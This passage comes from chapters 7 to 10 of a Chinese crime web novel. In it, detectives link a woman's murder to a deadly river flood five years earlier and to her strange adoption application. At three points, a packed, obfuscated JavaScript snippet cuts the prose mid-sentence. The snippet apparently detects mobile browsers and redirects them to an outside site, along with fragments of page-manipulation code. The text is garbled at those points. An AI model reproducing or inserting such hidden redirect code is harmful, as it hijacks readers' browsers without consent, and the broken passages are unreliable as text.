《这是一封求救信[刑侦]》 7.Chapter7 会议室迎来了短暂的沉寂。 大概是因为每个人都在就凶手的古怪行径展开思考,片刻后才与身边的人低声讨论起来。 窃窃私语声中,宋隐略侧过头,看向连潮问:“连队刚才想说的问题,就是这个吧?” “是。”连潮眼神锐利地扫过会议室里的众人,双手有力地在会议桌上一撑。 “关于凶手的异常行为,我已有些想法。 “不过我想先听听大家的意见。集思广益,才容易接近真相。” 连潮语毕,最先说话的还是蒋民:“从统计数据看,一个女人死了,凶手往往是她的丈夫或者男友。 “顺着这个角度反推的话,我是这么想的啊—— “凶手躲在水泥柱后面搞偷袭,这事儿看似简单,实施起来却并不容易。 “关键原因在于,监控盲区的范围相当有限! “试想,一旦李虹多走几步,凶手得从盲区追出去才能得手,这样一来,他不仅会在监控下暴露身形,还可能引起李虹警觉,动手难度会大很多。 “因此对凶手来说,偷袭成功的机会,其实稍纵即逝。 “所以我推测,李虹第一次经过凶手面前时,凶手心生恻隐,犹豫了几秒钟,也就错过了动手良机,只能想办法把她约出来一次。 “凶手极有可能,与李虹有过切实的情感纠葛!” 蒋民提出的确实是一种可能。 不过不足以说服所有人。 凶手蓄谋已久,且做了非常充分的准备,他应该对李虹恨意极大,下了让她必死的决心。 这种情况下,他真会忽然对李虹心生恻隐吗? 围绕蒋民的观点,众人七嘴八舌讨论了半晌,不过没能得出任何定论。 其后,连潮轻叩桌案打断讨论,又道: “再给大家提供一个信息。案发当晚,李虹下午8点半下班,可将近凌晨1点才回家。 “为了搞清楚她的行踪,我查了她的银行流水,发现从三个月前开始,她每月都会付款给一家培训机构。 “中午我去了一趟那家机构,了解到李虹在那里学画画——” 中午那会儿,培训机构的老师对连潮表示,李虹能空出来上课的时间并不固定,虽是一对一的课程,但毕竟会影响自己排课,刚开始也就并不愿意收下她。 不过在看过李虹的画后,她转变了态度。 在老师看来,李虹的画风自成一派,很有个人特色,从小自学画画的她,真实水平很高,只是欠缺了系统化的训练,基础不牢靠而已。 介绍到这里,连潮通过投影仪,展示了一张照片。 照片拍的是李虹家的玄关,正中央便是那幅怪异的画,周围是蛛网般的护身符,下方则是一个小香炉。 “我和机构老师确认了,这幅画完全体现了李虹的个人风格,应该就是她本人画的不错。” 略作停顿后,连潮的目光在会议室内逡巡一周,落到了身边的宋隐身上,“你现在有什么想法吗?” 宋隐问他:“你去现勘的时候,香炉什么状态?” 连潮道:“有看起来很新鲜的香灰。” “案发那晚,李虹回到家后,很可能点过香?” “对。” 宋隐重新看向投影仪上的那幅画,半晌后缓缓道:“香炉点香,分明有祭奠的意味。 “也就是说……这幅画应该是遗像。 “可它是谁的遗像呢? “如果这画是李虹自己画的,难道她画的是自己的孩子们?这意味着,她生过的所有孩子,全都死了。 “另外,这些孩子没有脸,又是怎么回事? “这既然是用于祭奠的画,理应把人像画清楚才合理。所以暂时可以排除,李虹是故意采用了抽象的风格。那么剩下的唯一一种可能表示—— “李虹并不知道她的孩子们长什么样。” 说这些话的时候,宋隐表情冷淡,语气平静。 可他的话细想下去,不免有些让人毛骨悚然—— 李虹生过多个孩子,为什么他们全都死了? 又是为什么,她竟不知道孩子们的长相? 会议室再度陷入窃窃私语。 连那几个原本对案件不上心的老人,都不由好奇地互相交流起来。 不久后,几乎所有人都想到了一个可能—— 凶手知道李虹回家后有点香的习惯。 所以他想等李虹点完香,再把她杀死。 这就是李虹第一次经过凶手面前,他放任她离开的真正原因。 真相会是这样吗? 难道凶手也想祭奠那些孩子? 他会是孩子们的父亲吗? “沙沙”“沙沙”的声响打断了众人的沉思。 那是连潮按下遥控器,将投影幕布收了起来。 宋隐默默走至先前的位置坐下。 连潮瞥他一眼,面向众人总结道:“现在亟待弄清楚的疑点之一,是凶手为何要只藏了凶器。 “疑点之二,是凶手为什么放过了李虹一次,又把她重新叫了出来,真的想让她回去点香吗? “关于这两个疑点,相关讨论暂放。再看看别的——” 连潮看向了蒋民、乐小冉问:“钓鱼佬发现尸体的时间,记得吗?” 闻言,乐小冉先道:“记得!10月18日早上十点。” 蒋民随即补充:“他声称自己十点左右到达金沙河边,刚准备钓鱼,就看到了尸体。连队问这个是……” 连潮道:“一般来说,这种钓鱼佬很早就会出门钓鱼。为什么他十点才来金沙河?” 乐小冉和蒋民双双没能答出话。 他们其实有对钓鱼佬的不在场证明做一个初步的排查,不过没发现问题,也就暂时排除了他的嫌疑。 当然,连潮提出的问题也很关键。 虽然这只是件稍微有些不同寻常的小事,虽然到时候查下来,这位钓鱼佬作风另类、偏偏不爱早起,也是完全可能的。 但即便是这么微不足道的小细节,也不容放过。 “另外,现勘期间,我看到沿河存在大面积的石头被烧黑的情况。 “那是数量相当多的人,常年累月地在那里烧纸,才能留下的痕迹。 “不仅如此,我还在河边看到了不少没拆封的玩具、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15038834|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃仔牛奶、零食一类的小玩意儿。” 连潮一步步地,走到了王永昌为首的几个老人面前,“时间太紧,我还没来得及查阅资料,但我想,本地人应该多少知道点什么。 “请问王副队,是否知道当地人为什么喜欢在金沙河边烧纸? “这与当地的风俗有关,还是说,金沙河边,发生过什么特别的事故?” 凶手把李虹带到金沙河边,并不是为了剖尸,而是为了执行某种仪式感。 这种仪式感,会跟金沙河发生过的故事有关吗? 随着连潮的脚步停在王永昌的跟前,会议室的气氛骤然变了。 来自其余人或探究或好奇,或看热闹不嫌事大,或幸灾乐祸的目光,全都望了过来。 只见王永昌大大咧咧地坐着,一条腿搭在另一条腿上,姿态看似放松,实则透着一股傲慢。 他看向连潮的眼神很是不满,分明是觉得这个年轻的空降领导,不该用这种口吻向自己问话。 “不知道啊,没听说过。金沙河离主城区那么远,八竿子打不着,谁吃饱了没事干会关注那边的破事儿?” 王永昌的语气显得既轻慢又敷衍。 在他的身后,胡大庆的嘴张开了又闭上。他为难地看了连潮一眼,轻叹一口气,低下了头。 自家师父都那么说了,他即便知道点什么,也只得暂时把嘴闭上。 连潮目光掠过这两人,再放到了宋隐身上。 他想起了今天中午,宋隐对自己说过一句话—— “连队,我是站在你这边的。” 连潮直截了当地问他:“宋老师,你也是本地人,知道些什么吗?” 闻言,宋隐眨了下眼睛。 他还真不知道那边发生过什么。 于是很诚实地摇头。“我不清楚。可能是我在外地上大学期间发生的吧,没注意到。” 连潮眉梢微挑,眼神锋利如刀。 宋隐猜测他可能会误会自己是不好拂王永昌的面子,但也没多解释,只是转而问道: “连队,我倒是有别的事情想问你—— “尸检的时候,我并没有在李虹的指甲、衣服等任何地方发现颜料残留。再者说,绘画课不至上到半夜。 “所以,案发当晚,李虹并不是因为上了绘画班,才那么晚回家的……她去了哪儿,你知道吗?” 连潮的眼神依然锐利如刀,不过不再压着眉峰,看上去表情稍霁。 深深看宋隐一眼,他道:“她应该是去了一家福利院。这个线索,还是绘画班老师提供的。会议结束后我会再确认一下。如果确认清楚——” 宋隐又眨了一下眼睛。“嗯?” “宋老师,你明天跟我去一趟福利院。 “它在下面的村子里,离市区很远,早上我直接去你家接你,我们早点出发。” 连潮以命令式的口吻说完这话,也不管宋隐什么表情,直接转头看向了蒋民。 “蒋民,你来写会议纪要,把案情进展,有待探查的疑点、嫌疑人,全部列出来,再把调查优先级排个序,做好人员分工,写好了发我邮箱确认—— “散会!” 8.Chapter8 散会时间靠近晚饭点。 回到办公室后,不太吃得惯食堂的宋隐,拿手机点了外卖,而后打开电脑,习惯性地看了一眼邮箱。 最新一封邮件,是卓宛白发来的尸检报告初稿。 宋隐把这份报告打了开来,不过没有立刻阅读修改,他转而打开网页,搜索起了“金沙河”三个字。 然后看到了很多骇人听闻的标题: 【来自金沙河的致命邀约:每年 10 月,它都在等待新的牺牲品 】 【惊悚预警!除非想死,10月一定别去金沙河! 】 【解密系列之为何金沙河每年都会夺人性命?】 …… 宋隐微微蹙眉,做起了进一步的检索。 继而他发现,五年前的金沙河,的确发生过一起严重的事故—— 时逢金秋十月,金悦幼儿园组织了一次亲子出游活动,由老师、孩子、以及家长们一起参加。 各班的出游地点由家长们投票决定,A03班最终选择的地点,便是金沙河。 刚开始活动举办得很顺利。 两位幼师带着23名小朋友,在河边找了块空地做游戏、唱歌。 至于家长,有的负责去河边钓鱼,有的则另寻一块空地洗菜、切菜、生火,准备着午餐和甜品。 所有人都沉浸在了愉快的秋游氛围中。 没有人知道上游水域是什么时候突然涨潮的。 也没有人会想到,干涸的、由砂石铺就的河滩,会在顷刻之间,被不知道从何而来的洪流淹没。 河岸上游的两名幼师和 23 名孩子首当其冲,连呼救声都没有发出,就直接被巨大的水流冲走了。 三位在河边钓鱼的父亲当即傻了眼,等反应过来要跑,却已完全比不过洪流的速度,很快也被卷入其中。 位于下游区域做饭的家长们,本有着相对充裕的逃跑时间,不过部分家长为了救孩子,不管不顾地跳进了水中,最终结局依然是被水流拖走。 这场事故最终造成了32人丧生。 金悦幼儿园A03班上的23个孩子,无一生还。 事故发生后,当地政府陷入了严重的信誉危机。 媒体、公众接连对地质隐患、景区的警示牌设置等问题发出质疑。 时任淮县县长受到了严重处分,最终卸任。 至于金悦幼儿园,在兑现了大额赔偿后,也很快走至了破产境地。 金悦幼儿园倒闭后,政府部门牵头组织了其所在地的拍卖,然而一直流拍,没有人愿意购置。 主要原因有二—— 第一,幼儿园建在山上,远离喧闹,环境也极好,当时的宣传广告语是:“拥抱自然,从孩童时期开始。” 也正因为如此,幼儿园选址太偏,周围配套的商业体不够成熟,对企业的吸引力不强。 至于第二个原因,则跟一则越演越烈的传闻有关。 据说这幼儿园所在的山头,在民国时期是个乱葬坑,风水不好,才会出这么可怕的故事。 幼儿园附近没规划的荒山上,确实有不少坟堆,有殡葬公司想把那一大片区域全部规划成公墓,找了政府谈这件事,政府也顺势同意了。 金悦幼儿园旧址的土地用途,就这么从教育改为了殡葬,继而连同周围的山体一起被改造成了大型公墓。 公墓的一部分用于售卖。 另一部分,则用于统一安葬那些孩童尸体的骨灰。政府承诺会承包所有费用。 孩子们的尸体被打捞队陆续找回后,被统一安置在了火葬场,要等家属认完尸、签字确认后,才好火化。 不过很多家属都不愿签字,有的不满意赔偿,有的不愿意接受现实,事情一度陷入僵持。 直到几个月后公墓建好,问题才得以解决。 随着时间的流逝,从前那些无法接受亲人离去的家长,已不得不接受现实。 至于那些试图索要更多赔偿的家长,权衡利弊后也接受了安排。毕竟这样就不必再花大几万、甚至十几万来购买墓地。 再后来,政府出具了调查结果。 金沙河上游地质环境特殊,地下有溶洞和丰富的地下水。多次小地震导致了潜在的地质变动,影响了地下水的流向,最终酿成了意外事故。 政府组织专家进行了严格考察,并花大价钱做了引流工程,承诺这样的悲剧绝对不会再次发生。 三年过去,金沙河果然没有再发生过类似的事故,人们这才渐渐放下戒心。 然而近两年开始,金沙河再次变得不平静起来。 两年前的 10 月,有两个钓鱼佬在金沙河淹死,去年 10 月则又死了一个。 好巧不巧,这三人还都死在当年最早被卷走的那23个孩子做游戏的河滩附近。 灵异传闻随之越演越烈。 不少人都发帖声称在金沙河边见到了鬼,并认为是五年前那起事故的冤魂们在作祟。 宋隐把相关的新闻、帖子浏览完的时候,外卖居然还没有到。 他点开手机,发现骑手20分钟前发来: 【路上碰见吵架的,我看个热闹,你不介意的话,我晚点给你送去?】 宋隐:“…………” “宋老师!刚在食堂吃饭的时候,我查了一下——” 说话的是卓宛白,她风风火火地冲进办公室,迅速把自己的手机递给宋隐,“金沙河边出了好多事故,那几个钓鱼佬、还有那些灵异故事……” 宋隐把手机还给她,道:“灵异传闻,其实都是无稽之谈。如果看过统计数据,会发现其实每个月都有人在湖海边意外淹死。 “有人把10月份钓鱼佬淹死在金沙河的事情,单独拎出来做个合集,也就人为地蒙上了一层灵异色彩。” “嘶,”卓宛白坐回座位上,“原来如此,又学会看穿一个套路了,以后我老了肯定不会被骗去买保健品的。话说宋老师……五年前那场事故,你看到了吗?” 想到那场惨烈事故,卓宛白的表情不由变得严肃。 宋隐侧眸看她一眼,随即问:“既然看过报道,有没有发现一个关键信息?” “关键信息?什么关键信息?” 卓宛白赶紧打开手机网页,把事故新闻又看了一遍,这下她找到了问题所在,后背顿时起了一层寒意—— 当年那场事故发生的日期,是10月18日。 而李虹的死亡时间,也是10月18日! 凶手之所以选在这一天把李虹带至金沙河,还往她肚子里放了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15044440|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个木雕娃娃…… 跟那起事故有关吗? 如果凶手真的是孩子们的父亲,他之所以这么做,是在惩罚、怪罪李虹吗? “香炉点香,分明有祭奠的意味。” “这幅画应该是遗像。” “李虹生过的孩子,全都死了。” 想到宋隐在会议上说过的这三句话后,卓宛白当即有了一个脑洞—— 李虹和一个男人生了很多小孩,后来两人分手了。 等孩子们到了上学的年纪,是李虹主张让孩子们去金悦幼儿园上学的。 当老师问家长们想去哪儿参加亲子游的时候,也是李虹给金沙河投了一票。 这位父亲把孩子们的死归咎于李虹,恨上了她。 于是他选择在孩子们的忌日这天杀死李虹,并往她腹中放入了象征着孩子的木雕。 这样一来,凶手的杀人动机,便是为孩子们复仇。 嘶,但他为什么等了五年才动手? 另外,这种情况下,李虹没道理没见过自己的孩子吧? 想不通。怎么都想不通。 卓宛白侧过头,看见了一脸苍白,皱着眉的宋隐。 “宋老师,你也在苦恼吧?这案子好怪啊!还没见过你愁得脸白成这样呢。” 宋隐没什么力气地开口:“我主要是饿的。” 卓宛白:“…………” · 另一边,蒋民、乐小冉找上了发现尸体的钓鱼佬。 钓鱼佬叫王自强,18日那天,他这种钓鱼狂热分子,确实不是10点才出的门,而是早上5点。 只不过他刚开始去的不是金沙河,而是牛首山。 王自强不是一个人,是和钓鱼群里的同好们一起去的,几个小时过去,他什么也没钓到,排名垫了底,被群友们损了几句,抹不开面儿,这才独自去了金沙河。 金沙河已很久没人钓鱼了,想必那里的鱼不精明,容易上钩,他想去碰碰运气,不曾想遇到了尸体。 “为什么金沙河已经很久没人钓鱼了呢?” “啧,听二位口音,不是本地人,不知道五年前那场可怕的事故吧?哎哟,最近那里闹鬼闹得也很凶呢!” 经查,王自强并没有撒谎,有充分的不在场证明,与李虹没有任何社会交际,没有作案嫌疑。 他的故事只是从侧面印证了,最近愈演愈烈的灵异传闻的可怕。 凶手也许也听说了这些传闻,知道每年10月去金沙河的人很少,这才敢堂而皇之地,在河边履行他的某种仪式感。 晚上8点,连潮接到蒋民的电话。 “……大概就是这样。话说五年前——” “嗯。相关新闻,我已经查到了。另外,我已确认,案发那晚,李虹确实去了福利院。 “宋隐辅修过心理学,明天我带他去一趟福利院。你们继续跟进其他疑点的调查。” 与蒋民沟通完毕,连潮挂掉电话,然而打开工作群,找到宋隐,向他发送了好友申请。 三分钟后,连潮手机一震: 【宋隐已通过你的好友申请】 连潮当即打字发过去: 【你在局里登记的地址,是现在住的那个吗?明天早上7点半,我去那里接你】 9.Chapter9 次日,早上7点45分。 宋隐走到了小区门口。 稀薄的晨雾中,一辆英菲尼迪停在白色停车线内。 这车停得非常规整——车头车尾与白线之间的距离,几乎是完全等同的。 车身的金属漆面呈现出冰冷的质感。 驾驶座方向的车窗开着,里面是连潮那张线条立挺,雕塑般的侧脸。 这辆车不算便宜,不过对于连潮的出身来说,已经是足够低调的代步工具了。 只是,即便是开着这样一辆车的连潮,也与从前那个常混迹在网吧的16岁连潮,在形象上显得格外割裂。 “没睡醒?” 连潮发动汽车,引擎声骤然冲破晨雾。 宋隐兀自摇摇头,绕至副驾,打开车门坐上去后,听见连潮道:“你迟到了一刻钟。” “不会吧?” 宋隐系好安全带,抬起左手,装模作样看了一眼腕表,“我的表显示现在7点半。可能表坏了。” 宋隐的语气非常自然,丝毫不像在胡诌。 连潮瞥一眼他的手表,却发现指针根本就没有动。 那表看不出什么品牌,但明显是纯粹的装饰品,并没有计时的功能。 连潮切换档位,单手转动方向盘,将英菲蒂尼驶离小区大门。“你的表确实坏了,指针都不走了。” 宋隐面无表情地:“原来如此,感谢连队提醒。” “……宋隐?” “嗯?” 开车的连潮往副驾驶瞥了一眼,宋隐其实有点让他想起小时候养过的猫—— 给它做喂药打针一类的事情时,它看起来很配合,但实际上只是闹情绪闹得很隐晦而已。 表面上它比谁都情绪稳定。 暗地里却会溜进衣柜,把主人的高级定制礼物偷偷挠出一道猫爪印。 “吃早饭了吗?” 有些出人意料地,连潮问了这么一句话。 随即他又道:“买了本地的灌汤包、小米糕之类的,还有星巴克的咖啡和三明治,挑你喜欢的吃。” 宋隐问他:“可以在你车上吃东西?” 连潮转动方向盘,将车驶进高速路入口,闻言嘴角倒是微微上扬了些许。 “明白了。以后如果坐宋老师的车,不能吃东西。” “看具体是什么吧。汤包这种容易滴油的万恶之源,绝对不可以。” 宋隐从中央扶手箱拿起一个三明治,“谢谢。” “不客气。” “嗯。” “吃完饭如果还困,可以睡会儿,到了我叫你。” “好。” 吃了点东西后,宋隐还真闭眼小憩了。 不知过了多久,驾驶座方向传来手机震动。 宋隐睁开眼,高速路边的绿树、田地、村舍,浮光掠影般滑过。 连潮的声音自身侧传来。“吵到你了?” 宋隐摇摇头,重新闭上眼睛。“你接吧。” 连潮并没有避讳宋隐,直接接起了电话。 蒋民的声音随即通过音响传了过来。 宋隐闭着眼,把连潮和蒋民的对话听进耳里,继而得知,通过继续调查李虹的银行流水,发现约三个星期前,她向小刘修车行支付过一笔钱。 小刘修车行就在育林小区附近,今天一大早,蒋民专门往那里跑了一趟。 老板还记得李虹,表示三个星期前,李虹忘记关车灯,把电瓶的电烧没了,他们便帮她换过一次电瓶。 话到这里,蒋民的声音不由变得凝重了些。 “连队,凶手是不是连这件事都查到了,所以才编出了‘大灯没关’这个理由? “毕竟李虹干过这事儿,中招的概率也就比较大!” “很有可能。” 连潮眉头微微皱着,表情显得愈发严肃。 其后,乐小冉的声音又传了出来:“连队,我刚从育林小区旁边的建筑工地回来。 “我与经理沟通过了,他们是一个月前装的监控,在那之前,工地不仅没监控,出入管理也不严格。 “所以……如果最后排查下来,建筑工地的工作人员没有问题,而如果这一个月以来的监控,也没有记录到其余可疑的、偷钢管人的身影…… “这就说明,凶手是在一个月前去捡的钢管。这也就意味着,居然在一个月前,他就在为杀人做准备了?!” 不知不觉间,宋隐睁开了眼睛。 他拿起一杯美式咖啡缓缓喝着,脑中下意识做起了凶手的侧写—— 凶手具有很高的反侦察能力。 很可能在一个月前,他就已经开始走访死者李虹居住的育林小区,甚至周围地带。 他把每个监控摄像头的位置都记了下来,也对李虹的行踪有了足够清楚的了解。 不仅如此,他还预计到自己开车离开地库时,会不可避免地被拍到脸,于是早早为自己准备了特殊的、能改变脸型的口罩。 这个凶手,简直有着职业杀手般的专业素养。 可既然如此,他就不该认为,只要他戴了手套,就不会留下其他生物痕迹。 他把那根击打过李虹头部的钢管彻底处理干净,这才是相对合理的做法。 可他为什么会不处理李虹的车,还把用过的针线和刀具,就那么随意地丢弃在河边呢? 凶手的特写有矛盾之处。 为什么会这样? 该不会是因为…… 那晚的涉案人员,不止一个? 宋隐的心脏骤然一沉,有了一种很不妙的猜测。 旁边驾驶座上,连潮眉峰往下一压,透过车载蓝牙对蒋、乐二人道:“这人办案非常专业,很可能是老手,也就大概率有案底。 “你们立刻联系痕检,再把那辆凯美瑞仔细检查一遍,不要放过任何生物痕迹。一旦查出来什么,直接进犯罪数据库匹配。” “行,知道了。连队,你和宋老师到福利院了吗?” “快了。有什么问题,随时联系我。” 连潮挂掉电话,侧头看向宋隐。 蔼蔼晨光中,宋隐的侧影像是蒙了一层柔光滤镜。 连潮问他:“都听到了?” 宋隐点点头。 连潮又问:“五年前的事故呢?现在知道了吗?” “嗯。”沉默了一会儿,宋隐道,“昨晚看完相关报道,我的第一反应是,李虹的孩子们死在了事故中。” 昨日吃过晚饭后,宋隐把能查到的、有关五年前事故的新闻报道,几乎翻了个遍。 他了解到,当年没有发现任何无人认领的尸体—— 事故的下游区域恰好是白崖山。 所有遇难者的尸体全都被冲到了山脚的窄沟里,被巨大的山壁拦住了,数量恰好是32具,与幼儿园亲子游活动过程中失踪的人数一致,并且身份也都对得上。 也即,当年金沙河事故,并没有出现其他遇难者。 李虹的孩子们如果真的死于那场事故,只能是因为他们就读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15048005|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于金悦幼儿园,且参加了那次活动。 英菲尼迪驶出高速路出口,拐上一条乡间小道。 连潮目视前方道:“嗯。我的想法最初与你一样。但细想下去,很多事情都说不通。 “另外,凶手侧写也有诸多矛盾之处,从福利院回去后,我会找时间做个案发现场重建,把凶手的行动线重新梳理一遍。对了—— “今天从福利院回去后,你帮我查一查,市局法医那边,当年有没有留下事故相关的记录,比如DNA。” 目前来看,凶手明显在执行某种仪式感。 在此基础上,当得知金沙河发生过的事故,所有人都难免会产生联想—— 李虹孩子们的死、凶手的动机,都与事故有关。 不过这个推测还有很多无法解释的地方。 归根结底,警察办案,不能靠直觉和联想,还得靠实在的证据说话。 如果当时市局查过那23具孩童遗体的DNA,一定会留下存档,那么只要调出来,和李虹的DNA一比对,就能知道结果。 却听宋隐忽然摇头道:“当年没有查DNA。” 连潮有些意外。“你已经查过了?” 宋隐道:“嗯。这么大的事故,市局法医当年肯定参与过尸体的善后处理。 “我昨晚进内部系统查了记录和相关报告,尸体的脸并没有遭到严重破坏,家属通过认尸,就可以确认死者身份,因此没有额外查DNA。” 连潮确实感到有些意外。 他再瞥一眼宋隐,问:“昨晚加班查的?” 宋隐淡淡道:“嗯。改完尸检报告发你邮箱后,我去查了这件事。” “其实我挺好奇的——” 连潮忽然道,“至少在案件调查上,你认真负责,且异常聪颖敏锐。那么我想知道,你都来了四年了,为什么先前淮县的破案率,还是全省倒数第一?” “我来的时候,省里派了一位老前辈来带教,那会儿我主要在跟着他做一个省级的重要项目—— “利用最新技术,针对全省范围内多年未破的悬案,做重启调查。 “所以,来这里的头两年,我根本就没负责淮县本地的案子。至于后两年…… 话到这里,宋隐转头看向连潮,很认真地说道,“王永昌老是卡我预算,连把解剖刀,都不肯让我多买。所以我说了,我肯定是站在你这边的。” 宋隐最后说的这句话,连潮根本没当真。 不过这不妨碍他有些被宋隐逗笑。 只听宋隐话锋一转,忽道:“所以,连队是觉得,我在李虹案上,工作还算认真,态度也还算端正?” “当然,怎么?” 连潮看了一眼导航,福利院就快要到了。 宋隐再问:“那么……连队还会因为严有庭的事情,处分我吗?” 闻言,连潮的神情陡然一凛。 车内的温度仿佛骤降了好几度。 他的声音也跟着沉了几分。 “所以宋隐,你为什么那么做?” “我解释了,就可以逃过处分吗?” 宋隐的语气平静得像是事不关己。 但如果仔细看的话,会发现他的眼里藏着几分审视,就好像他反倒在借此探寻,面前的连潮到底是一个什么样的人。 不久后,连潮板着一张不容半点忤逆的脸道:“不能。宋隐,如果你喜欢肆意妄为,不认同程序正义…… “你不配当警察,至少不配留在我的队伍中。” 10.Chapter10 上午9点05分。 连潮和宋隐抵达“春花福利院”。 出示证件、说明来意后,他们见到了工作人员汪丽春。 汪丽春将两人请进会议室,泡上两杯茶,坐下来回忆道:“李虹这人,我还算熟悉。 “大概三个月前吧,有个美术培训机构和我们联合办了个公益小画展,她是通过画展知道的我们这儿。 “她说她喜欢这里的孩子们画的那些画,让她想到了自己小时候…… “话说二位警官,她没出什么事吧?” “什、什么?她被杀了?怎么会这样?! “抱歉……我实在是有些吃惊,失礼了。” “她来我们这儿,主要是为了领养孩子。 “通过画展知道这里后,她就常来了,后来她看中了一个孩子,两人还一起做过几次游戏,相处得挺不错……可是吧,另外有对夫妻,也看中了那个孩子。 “是这样的啊,那对夫妻有钱、恩爱、事业稳定,有充分的精力和时间照顾孩子。 “相比之下,李虹工作忙,又是单身……我们当然更建议孩子选择那对夫妻。孩子也同意了。 “这事儿过后,李虹失落了很久,很是有段时间没来,不过最近又露面了…… “老实说,她一直这样,我们也挺困扰。就说前几天,她 8 点多才下班,到这儿都快 10 点了,孩子们早都已经睡了,她还非要去看一眼……” 连潮当即打断汪丽春问:“你说‘前几天’,具体是几号?是10月17号吗?” “你等等,我翻下访客登记表…… “啊,对的,是17号。” 意识到什么,汪丽春的脸发了白,她张大眼睛问:“该不会……从我们这里回去后,她就被杀了?” 10月17日,李虹一整个白天都在照顾患有阿兹海默症的老人,晚上8点半才下班。 她应该已经很累了,却还要坚持开一个小时的高速,来到这家福利院,为什么? 连潮看向汪丽春问:“那天赶来后,她做了什么,请务必一五一十告诉我们。” “没、没问题,我一定知无不言!” 似是被连潮严肃的表情一震,汪丽春下意识拍了拍胸脯,顺过了一口气,才又道,“李虹主要是为了孩子们来的。她答应给他们每人画一幅肖像画。 “她工作忙,画得慢,这事儿也就拖了很久……后来,应该是16号深夜,她总算完了工,17号一下班就赶紧送了过来,说是怕孩子们失落,一天都不想多等。来之后,她跟我说起过这些,所以我记得深。 “啊对了……除了画,她还准备了一些小玩具,反正都是孩子们喜欢的。” 连潮再问:“她还有收养孩子的打算吗?” 汪丽春点头:“是的。” “这么多孩子,就没有她再相中的?” “她跟我提过,得看孩子们的生辰八字,不能随便来。除了她最早看中的,其他都没有适合的。 “所以呢,她现在对这些孩子好,其实单纯是在做好人好事的意思吧。至于收养,还要看以后新来的孩子,八字合不适合了。” “明白了。李虹当初看中的那个孩子的资料,包括她的生日,麻烦给我们一份。” “行,我这就去办。” 连潮抿了一口福利院的茉莉花茶,随即想起李虹家中那个几乎空无一物的,没有任何生活痕迹的次卧。 现在看来,那间次卧既然她自己完全没用,那应该就是为孩子准备的。 所以,其实早在两年前刚来淮市,李虹就已经想好,要领养一个八字合宜的孩子了。 估计是因为之前工作和生活不够稳定,这才一直拖延到了现在。 与此同时,李虹似乎完全没有考虑过结婚。 什么样的经历,会让她在不打算结婚的情况下,独自领养一个孩子呢? 放下茶杯,连潮再问汪丽春:“她有没有对你提过,为什么想收养孩子?又或者说,想要孩子的话,她没考虑过自己生一个吗?” “我……我得好好回忆一下。” “好,不着急。” 汪丽春一边找资料,一边回忆和李虹相处的点滴。 连潮则朝宋隐看了去。 自从谈及严有庭后,宋隐就一路都保持着沉默。 此刻他一副兴致缺缺、沉默寡言的样子,也不知道是单纯犯困,还是因为他有情绪。 连潮直接问他:“宋隐,你有什么想问的吗?” 宋隐瞥一眼连潮,随后果然对汪丽春问道:“李虹遇害那日送到这里的画和玩具,能让我看看吗?” “当然可以。不过大部分都已经发给孩子们了,我得打个电话,让同事找他们借用一下。” 汪丽春果然去打了个电话。 回来后,她对连潮道:“连队长,刚才那个问题,我想起来了—— “李虹之所以不敢生孩子,是因为她觉得自己的肚子不吉利。她曾亲口说过,从她肚子里出生的孩子,会带来厄运。” “厄运?”连潮敏锐地捕捉到关键,又问,“又是八字,又是厄运的,她很迷信? “她还有其他迷信行为吗?不管是否跟孩子有关,都可以告诉我。” “迷信行为?我还真没印象了。不对,等等……” 汪丽春想起来,大概两个半月前,她给了李虹一张领养申请表。 表中有一栏,需要领养人填写收养孩子的理由。 现在汪丽春已不记得李虹具体填了什么,但依稀记得看见过“不祥”“厄运”“因果”这种极其怪异的词汇。 她还记得自己问过李虹:“你怎么瞎填啊?” 李虹道:“我……我只是实话实说,我真的想了结因果,做出偿还!请相信,我会对孩子们好的!” 想到这里,汪丽春迅速在堆满草稿纸的办公桌上翻找起来。 “连队长,李虹填过一张领养申请表。那会儿我觉得她写的东西挺不合适,担心她因此失去领养资格,就让她重新填了一份,还帮她想了点官方套话。 “至于她原来写的那份,我应该还没扔……喏,太好了,找到了,希望能对你们有帮助。” 连潮当即伸手接过领养申请表。 忽然间,一道阴影覆上纸面。 连潮侧眸,发现那是宋隐脑袋一歪,凑了过来。 “嗯?请问我不能看吗?” “……当然不是。看吧。” 申请表上,只见“领养理由”那一栏写着: “我的肚子不祥,孩子绝对不能从这里出生,否则一定会招来厄运! “届时,她会不幸,我也会不幸。 “我不能弥补从我肚子里出生的孩子们,但如果能弥补其他孩子,想必也能了结这一段因果债。 “尊敬的各位领导,请让我领养这个孩子吧。她会获得祝福,我也会获得祝福!我一定会用心照顾她,拼了命地爱护她!” 